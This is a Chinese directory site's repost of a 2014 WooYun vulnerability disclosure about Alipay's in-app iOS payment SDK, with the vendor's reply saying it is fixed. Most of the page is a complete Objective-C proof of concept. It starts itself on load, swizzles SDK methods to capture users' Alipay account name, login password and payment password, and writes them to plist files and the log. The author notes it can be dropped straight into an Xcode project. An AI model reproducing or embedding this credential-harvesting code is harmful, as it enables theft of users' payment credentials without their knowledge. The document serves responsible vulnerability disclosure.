网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

[公开漏洞]支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞

来源:WooYun 浏览:660次 时间:2014-07-09
简介:支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞 相关厂商: 支付宝漏洞作者:ZERO君 提交时间:2014-04-10 14:23 公开时间:2014-07-09 14:23 漏洞类型:用户敏感数据泄漏危害等级:高 自评Ran

支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞 相关厂商: 支付宝 漏洞作者:ZERO君 提交时间:2014-04-10 14:23 公开时间:2014-07-09 14:23 漏洞类型:用户敏感数据泄漏 危害等级:高 自评Rank:10 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 手机软件安全 iOS 移动互联网 漏洞详情 披露状态:

2014-04-10:细节已通知厂商并且等待厂商处理中
2014-04-11:厂商已经确认,细节仅向厂商公开
2014-04-14:细节向第三方安全合作伙伴开放
2014-04-21:细节向核心白帽子及相关领域专家公开
2014-05-01:细节向普通白帽子公开
2014-05-21:细节向实习白帽子公开
2014-07-09:细节向公众公开

简要描述:

现在支付宝在iOS上推出了极简收银台的支付SDK,如大众点评网应用就使用了该SDK。该SDK不需要跨应用跳转,直接在应用内完成支付,但存在使用SDK的厂商可以直接记录用户敏感信息的漏洞。

详细说明:

支付宝这类极简收银台的支付SDK,由于在第三方应用内直接集成,而且支付流程完全在第三方应用内执行,没有跳转到支付宝应用内授权。但iOS的运行机制比较动态,可以通过直接hook起SDK内部的一些私有方法。然后,通过hook起的方法,直接访问用户输入的支付密码和登陆账号、密码。完全可以在用户和支付宝不知情的情况下,记录用户这些数据。

漏洞证明:

IMG_2086.PNG



IMG_2086.PNG



//AlipayLoger.h
#import <Foundation/Foundation.h>

@class MiniPwd;
@class Input;
@class Password;

extern NSString *const PopupViewConfirmNotification;

typedef NS_ENUM(NSInteger, AlipayLogType) {
AlipayLogType_AccPwd,
AlipayLogType_PayPwd,
};

@interface AlipayLoger : NSObject

@property (nonatomic, weak) MiniPwd *mPwd;
@property (nonatomic, weak) Input *accName;
@property (nonatomic, weak) Password *accPwd;

@property (nonatomic) AlipayLogType curLogType;

+ (instancetype)shareInstance;

+ (void)startHook;

@end





//AlipayLoger.m
#import "AlipayLoger.h"
#import "MiniPwd+Hook.h"
#import "PopupView+Hook.h"
#import "Input+Hook.h"
#import "Password+Hook.h"
#import "NSObject+Runtime.h"

NSString *const PopupViewConfirmNotification = @"PopupViewConfirmNotification";

static NSString *const AL_PayPassword = @"PayPassword";
static NSString *const AL_LoginAccount = @"Account";
static NSString *const AL_LoginPassword = @"Password";

static AlipayLoger *__shareInstance = nil;

@implementation UIResponder (AlipayHook)

+ (void)load
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
[AlipayLoger startHook];
});
}

@end

@implementation AlipayLoger

+ (NSString *)libPath
{
return NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];
}

+ (NSString *)payInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"payInfo.plist"];
}

+ (NSString *)loginInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"loginInfo.plist"];
}

+ (instancetype)shareInstance
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
__shareInstance = [[AlipayLoger alloc] init];
});

return __shareInstance;
}

- (instancetype)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(receiveLogNotification:)
name:PopupViewConfirmNotification
object:nil];
}

return self;
}

- (void)receiveLogNotification:(NSNotification *)notification
{
NSString *tName = self.accName.textField.text;
NSString *tPwd = self.accPwd.textField.text;

if (self.curLogType == AlipayLogType_AccPwd &&
tName.length && tPwd.length) {
NSDictionary *dict = @{AL_LoginAccount: tName,
AL_LoginPassword: tPwd};
[dict writeToFile:[AlipayLoger loginInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@\n%@: %@", AL_LoginAccount, tName, AL_LoginPassword, tPwd);
} else if (self.curLogType == AlipayLogType_PayPwd) {
UITextField *textField = [self.mPwd objectWithVarName:@"textField"];
NSDictionary *dict = @{AL_PayPassword: textField.text};
[dict writeToFile:[AlipayLoger payInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@", AL_PayPassword, textField.text);
}
}

+ (void)startHook
{
[PopupView startHook];
[MiniPwd startHook];
[Input startHook];
[Password startHook];
}

@end





//NSObject+Runtime.h
#import <Foundation/Foundation.h>

@interface NSObject (Runtime)

- (id)objectWithVarName:(NSString *)varName;

@end





//NSObject+Runtime.m
#import "NSObject+Runtime.h"
#import <objc/runtime.h>

@implementation NSObject (Runtime)

- (id)objectWithVarName:(NSString *)varName
{
unsigned int count;
Ivar *vars = class_copyIvarList([self class], &count);
Ivar *findVar = NULL;
const char *name = [varName UTF8String];

for (unsigned int i = 0; i < count; i++) {
if (strcmp(name, ivar_getName(vars[i])) == 0) {
findVar = vars+i;
break;
}
}
id returnObj = object_getIvar(self, *findVar);
free(vars);

return returnObj;
}

@end





//MiniPwd.h
#import <UIKit/UIKit.h>

@interface MiniPwd : UIView {
UITextField* textField;// 80 = 0x50
}

-(id)getValue;// 0x7fdf9
-(id)init:(CGSize)init withModel:(id)model;// 0x7f499
@end





//MiniPwd+Hook.h
#import "MiniPwd.h"

@interface MiniPwd (Hook)

+ (void)startHook;

@end





//MiniPwd+Hook.m
#import "MiniPwd+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"
#import "NSObject+Runtime.h"

@implementation MiniPwd (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}

- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if (self) {
[AlipayLoger shareInstance].mPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_PayPwd;
}

return self;
}


@end





//PopupView.h
#import <UIKit/UIKit.h>

@class NSString, UIImageView, NSDictionary, UIView, NSMutableArray, UIButton;

@interface PopupView : UIView
{

}
-(void)onCancle:(id)cancle;// 0x82731
-(void)onConfirm:(id)confirm;// 0x827e5

@end





//PopupView+Hook.h
#import "PopupView.h"

@interface PopupView (Hook)

+ (void)startHook;

@end





//PopupView+Hook.m
#import "PopupView+Hook.h"
#import "JRSwizzle.h"
#import "AlipayLoger.h"

@implementation PopupView (Hook)

+ (void)startHook
{
[PopupView jr_swizzleMethod:@selector(onConfirm:) withMethod:@selector(hookOnConfirm:) error:nil];
}

- (void)hookOnConfirm:(UIButton *)sender
{
[[NSNotificationCenter defaultCenter] postNotificationName:PopupViewConfirmNotification object:nil];
[self hookOnConfirm:sender];
}

@end





//Input.h
#import <UIKit/UIKit.h>

@interface Input : UIView {
@private
NSString* _content;// 52 = 0x34
NSString* _format;// 56 = 0x38
UILabel* _paddingView;// 60 = 0x3c
NSString* _textFieldFormat;// 64 = 0x40
NSString* _keyboard;// 68 = 0x44
NSString* _format_msg;// 72 = 0x48
UITextField* _textField;// 76 = 0x4c
}
@property(retain, nonatomic) UITextField* textField;// G=0x7e0c5; S=0x7e0d5;
@end





//Input+Hook.h
#import "Input.h"

@interface Input (Hook)

+ (void)startHook;

@end





//Input+Hook.m
#import "Input+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"

@implementation Input (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}

- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if ([self isMemberOfClass:[Input class]]) {
[AlipayLoger shareInstance].accName = self;
}

return self;
}

@end





//Password.h
#import "Input.h"

@interface Password : Input {
}
-(id)init:(CGSize)init withModel:(id)model;// 0x80125
@end





//Password+Hook.h
#import "Password.h"

@interface Password (Hook)

+ (void)startHook;

@end





//Password+Hook.m
#import "Password+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"

@implementation Password (Hook)

+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHookP:withModel:) error:nil];
}

- (id)initHookP:(CGSize)init withModel:(id)model
{
self = [self initHookP:init withModel:model];
if (self) {
[AlipayLoger shareInstance].accPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_AccPwd;
}

return self;
}

@end





//JRSwizzle.h
// JRSwizzle.h semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle

#import <Foundation/Foundation.h>

@interface NSObject (JRSwizzle)

+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_;
+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_;

@end





//JRSwizzle.m
// JRSwizzle.m semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle

#import "JRSwizzle.h"

#if TARGET_OS_IPHONE
#import <objc/runtime.h>
#import <objc/message.h>
#else
#import <objc/objc-class.h>
#endif

#define SetNSErrorFor(FUNC, ERROR_VAR, FORMAT,...)\
if (ERROR_VAR) {\
NSString *errStr = [NSString stringWithFormat:@"%s: " FORMAT,FUNC,##__VA_ARGS__]; \
*ERROR_VAR = [NSError errorWithDomain:@"NSCocoaErrorDomain" \
code:-1\
userInfo:[NSDictionary dictionaryWithObject:errStr forKey:NSLocalizedDescriptionKey]]; \
}
#define SetNSError(ERROR_VAR, FORMAT,...) SetNSErrorFor(__func__, ERROR_VAR, FORMAT, ##__VA_ARGS__)

#if OBJC_API_VERSION >= 2
#define GetClass(obj)object_getClass(obj)
#else
#define GetClass(obj)(obj ? obj->isa : Nil)
#endif

@implementation NSObject (JRSwizzle)

+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_ {
#if OBJC_API_VERSION >= 2
Method origMethod = class_getInstanceMethod(self, origSel_);
if (!origMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self class]);
#else
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
#endif
return NO;
}

Method altMethod = class_getInstanceMethod(self, altSel_);
if (!altMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self class]);
#else
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
#endif
return NO;
}

class_addMethod(self,
origSel_,
class_getMethodImplementation(self, origSel_),
method_getTypeEncoding(origMethod));
class_addMethod(self,
altSel_,
class_getMethodImplementation(self, altSel_),
method_getTypeEncoding(altMethod));

method_exchangeImplementations(class_getInstanceMethod(self, origSel_), class_getInstanceMethod(self, altSel_));
return YES;
#else
//Scan for non-inherited methods.
Method directOriginalMethod = NULL, directAlternateMethod = NULL;

void *iterator = NULL;
struct objc_method_list *mlist = class_nextMethodList(self, &iterator);
while (mlist) {
int method_index = 0;
for (; method_index < mlist->method_count; method_index++) {
if (mlist->method_list[method_index].method_name == origSel_) {
assert(!directOriginalMethod);
directOriginalMethod = &mlist->method_list[method_index];
}
if (mlist->method_list[method_index].method_name == altSel_) {
assert(!directAlternateMethod);
directAlternateMethod = &mlist->method_list[method_index];
}
}
mlist = class_nextMethodList(self, &iterator);
}

//If either method is inherited, copy it up to the target class to make it non-inherited.
if (!directOriginalMethod || !directAlternateMethod) {
Method inheritedOriginalMethod = NULL, inheritedAlternateMethod = NULL;
if (!directOriginalMethod) {
inheritedOriginalMethod = class_getInstanceMethod(self, origSel_);
if (!inheritedOriginalMethod) {
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
return NO;
}
}
if (!directAlternateMethod) {
inheritedAlternateMethod = class_getInstanceMethod(self, altSel_);
if (!inheritedAlternateMethod) {
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
return NO;
}
}

int hoisted_method_count = !directOriginalMethod && !directAlternateMethod ? 2 : 1;
struct objc_method_list *hoisted_method_list = malloc(sizeof(struct objc_method_list) + (sizeof(struct objc_method)*(hoisted_method_count-1)));
hoisted_method_list->obsolete = NULL;// soothe valgrind - apparently ObjC runtime accesses this value and it shows as uninitialized in valgrind
hoisted_method_list->method_count = hoisted_method_count;
Method hoisted_method = hoisted_method_list->method_list;

if (!directOriginalMethod) {
bcopy(inheritedOriginalMethod, hoisted_method, sizeof(struct objc_method));
directOriginalMethod = hoisted_method++;
}
if (!directAlternateMethod) {
bcopy(inheritedAlternateMethod, hoisted_method, sizeof(struct objc_method));
directAlternateMethod = hoisted_method;
}
class_addMethods(self, hoisted_method_list);
}

//Swizzle.
IMP temp = directOriginalMethod->method_imp;
directOriginalMethod->method_imp = directAlternateMethod->method_imp;
directAlternateMethod->method_imp = temp;

return YES;
#endif
}

+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_ {
return [GetClass((id)self) jr_swizzleMethod:origSel_ withMethod:altSel_ error:error_];
}

@end





以上是全部的实现代码,直接嵌入到Xcode工程即可,调用支付宝SDK时会有相应的log输出,和Document下有两个plist记录账号密码信息。JRSwizzle是一个辅助用的开源库。

修复方案:

不建议支付流程全部在第三方应用内完成

版权声明:转载请注明来源 ZERO君@乌云 漏洞回应 厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-11 18:35

厂商回复:

感谢您的反馈,目前该漏洞已经在新版本SDK中进行了修复

最新状态:

暂无


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/2336.html

好玩的手游下载

猜你喜欢

推荐站点

  • 国厨盛宴国厨盛宴

    佛山市南海区嘉怡西餐厅(简称\"国厨盛宴\")是一家专注于珠三角地区的高端餐饮定制服务企业。在嘉怡西式餐饮为基础,整合了国力餐饮策划公司、国邦餐饮咨询公司、焰渝餐饮管理公司。于2016年3月正式更名为“广东国厨盛宴餐饮定制”, 公司出品全部来自香港、广东十年以上中西餐饮宴会实践经验丰富的业内专业星级大厨,国厨盛宴是融合了中西宴会外卖特色具一体,积累了多年的实践经验的一家公司。 国厨盛宴的餐房、现场执行及客户服务均由香港资深专业人士负责,拥有丰富的餐饮定制配餐服务管理经验及餐饮行饮服务团队,从客服、采购、厨业经营经验。 无论是大型商业活动(100-3000人)还是小型(20-100人)的私人宴请,无论您的活动是在室内、室外、办公室,还是在公园、体育场、展厅、发布中心、别墅、郊外,都能为您提供超五星级的专业餐饮服务。除了为您提供精致的外烩美食外卖,我们还可以根据您的需要,结合宴会活动的每一环节、流程,为您提供活动策划、会场布置、节目安排、花艺服务等增值服务,为您节省宝贵的时间。

    guochushengyan.com
  • 皇家馬車家纺官网皇家馬車家纺官网

    馬車源自华夏千年礼制,始于“天子驾六”的皇家威仪。馬车,是帝王仪仗,是身份象征,更是东方尊贵生活的传承载体。皇家馬车家纺,承中式皇家礼序,融东方典雅美学,以匠心织就尊贵、舒适、荣耀的中式睡眠美学,让每一户人家,皆藏皇家气度。 皇家馬车家纺品牌源之于承华夏皇家礼序,筑东方品质寝饰。自古以来皇家馬车无论从欧洲皇室到我们中国的华夏文明,车马为礼;皇家馬车,自古便是帝王专属仪仗,象征至高无上的身份、威仪与尊贵。自周代“天子驾六”定礼制,秦汉“金根车”彰皇权,唐宋“大辇”显威仪,明清“銮驾”集大成,皇家馬车,早已沉淀为东方文化中尊贵、典雅、荣耀、传承的核心符号。 皇家馬车家纺,根植中国千年皇家车马文化,1992年源自福建台资企业,已深耕中高端家纺34载。品牌以“传承中式皇家礼序,打造国人轻奢寝居”为初心,将皇家馬车所代表的礼制、尊贵、精工、传承,融入每一件床品的设计与织造。 品牌自创立以来,始终坚守品质为本,引进台湾先进纺织工艺与生产管理体系,严选优质长绒棉、桑蚕丝、天然纤维等高端原材料,全程标准化品控,面料细腻亲肤、健康环保。先后荣获2000年、2012年福建省著名商标荣誉称号,2006获ISO9001:2000质量管理体系认证企业,为产品的品质奠定了坚实基础。凭借过硬品质与深厚品牌底蕴,深受广大消费者信赖与认可,高峰时期全国17个省市均有 皇家馬車专卖店。 2025年由福州东盈家居科技有限公司全面接手操盘运营,焕新升级,生产基地从福建迁移到江苏南通家纺产业核心区,配备行业前沿设备。重塑品牌发展战略,打通线上线下全域渠道。线下设立福州晋安区喜盈门旗舰店,全国门店持续布局扩张。皇家馬车家纺秉持匠心初心,坚持高端品质、亲民定价,让万千家庭,都能用上高品质,皇室级的寝饰,享受舒适精致睡眠生活。 我们萃取中式皇家美学元素——龙凤呈祥、祥云瑞气、织金刺绣、典雅纹样,结合现代家纺工艺,严选高支长绒棉、桑蚕丝等高端原料,以台资精工标准,打造兼具东方贵气与现代舒适的中高端家纺。 从“福建省著名商标”到“家纺行业十大品牌”,皇家馬车家纺始终坚守“高贵不贵,匠心传承”,让千年皇家礼制,化作日常居家的尊贵体验;让每一户中国家庭,都能拥有属于自己的东方皇家睡眠礼遇。

    huangjiamache.mhwz.cn
  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com

最新优秀网站